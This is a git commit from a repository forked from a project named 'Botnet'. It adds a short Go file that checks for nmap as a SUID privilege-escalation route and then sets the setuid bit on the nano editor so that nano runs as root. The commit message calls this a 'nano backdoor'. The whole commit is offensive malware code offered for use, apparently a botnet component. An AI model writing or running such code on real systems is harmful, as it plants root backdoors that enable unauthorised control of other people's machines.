3
0
forked from ff/Botnet
[WIP] Creates nano backdoor. Checks if nmap is installed for priv-esc if no root.
This commit is contained in:
Morrigan 2019-03-23 22:48:23 -07:00
parent 519f4e26d9
commit affd578c08

26
stuff.go Normal file
View File

@ -0,0 +1,26 @@
package main
import (
"fmt"
"log"
//"os"
"os/exec"
)
func nmapCheck() {
path, err := exec.LookPath("nmap")
if err != nil {
log.Fatal("nmap not found. no EZ priv-esc. :<")
}
fmt.Printf("nmap is at %s. is it SUID? go and get that shell.\n", path); //how to check for SUID set?
}
func main() {
nmapCheck()
path, err := exec.LookPath("nano")
if err != nil {
log.Fatal("nano not installed")
}
cmd := exec.Command("chmod", "u+s", path)
cmd.Run()
fmt.Printf("%s is now setuid too root\n", path)
}